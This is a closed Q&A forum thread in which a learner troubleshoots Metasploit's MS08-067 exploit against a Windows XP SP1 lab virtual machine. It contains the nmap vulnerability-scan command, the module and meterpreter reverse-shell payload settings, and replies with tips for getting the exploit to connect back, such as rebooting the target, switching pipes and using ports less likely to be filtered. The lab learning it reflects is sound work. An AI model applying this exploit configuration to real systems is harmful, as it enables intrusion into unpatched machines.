I'm learning how to use Metasploit. I'm using VirtualBox to run a VM with Kali Linux ( and another with Windows XP SP1 ( The two VMs can ping each other and Windows Firewall is disabled. I'm running Metasploit on Kali Linux and trying to attack Windows XP SP1.

I fire up msfconsole and start with a port scan:

nmap -sT -A --script=smb-check-vulns -Pn --script-args=unsafe=1

which tells me

Host script results:
| smb-check-vulns: 
|   MS08-067: VULNERABLE

I set the parameters this way:

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
   LHOST   yes       The listen address
   LPORT     8080             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   2   Windows XP SP0/SP1 Universal


msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 
[*] Attempting to trigger the vulnerability...
msf exploit(ms08_067_netapi) > sessions -l

Active sessions

No active sessions.

What am I doing wrong?

edit: I did the same with a Windows XP SP3 VM and it worked! I really don't understand why it won't work with Windows XP SP1...

closed as off-topic by Steve, Jens Erat, Mark, Rory Alsop Dec 30 '14 at 9:58

This question appears to be off-topic. The users who voted to close gave this specific reason:

  • "Questions asking us to break the security of a specific system for you are off-topic unless they demonstrate an understanding of the concepts involved and clearly identify a specific problem." – Steve, Jens Erat, Mark, Rory Alsop
If this question can be reworded to fit the rules in the help center, please edit the question.

  • 1
    general advice: run tcpdump when you run the exploit and see what is actually happening. Read the actual exploit code and understand what it is doing, and try to manually replicate step by step. These debugging steps should point you in the right direction. – KDEx Dec 29 '14 at 20:44
  • 1
    Take a look at the Windows VM. Is it frozen? Can you open programs inside it? Try to reboot it, then run exploit again and see if that works. I just actually did this assignment in college last semester and that was the issue. The exploit somehow made the Windows VM freeze and I had to reboot it to make it work. – Rocket Hazmat Dec 29 '14 at 22:25
  • @rocket The VM is not frozen, but I rebooted it anyway. No luck. – Kiuhnm Dec 30 '14 at 0:13
  • @Kiuhnm: It was worth a shot. That's what made it work for me in my computer lab. – Rocket Hazmat Dec 30 '14 at 0:14
  • @KDEx According to Wireshark, everything works OK. I could learn more about the exploit and use a debugger to see what's wrong, but I was just trying to learn Metasploit, so I'll pass for now. – Kiuhnm Dec 30 '14 at 1:48

It seems your exploit does not succeed. You may try different payload or change LPORT. Sometimes ports may be blocked by firewall and you won't get reverse shell. And once your exploit is successful, you will get reverse shell immediately, no need to type "sessions -l" command.


Just a couple of things:

Its possible that nmap has crashed the original service. The unsafe=1 parameter to the NSE script is giving it permission to crash if necessary. Make sure the box is rebooted between nmap and exploiting for the best chance of success. You may also want to: * exploit the SRVSVC rather than the BROWSER. * set the LPORT to 80 (or 443) as these ports are less likely to be filtered.

  • I tried all of the above, but nothing works. – Kiuhnm Dec 30 '14 at 13:22
  • This is generic advice and not related to hacking a specific system. When you launch a meterpreter reverse shell you get a clear indication that the exploit worked because it the exploit is staged - you would see something like the following: [] Started reverse handler on <TARGET:PORT> [] Starting the payload handler... [*] Sending stage (769024 bytes) to <TARGET> If you don't see "Sending stage" then either a) the exploit failed or b) the exploit ran but the stager failed to connect back to you. The latter maybe because of packet filtering - which is why you try other LPORT values. – stiabhan Jan 3 '15 at 2:15

Not the answer you're looking for? Browse other questions tagged or ask your own question.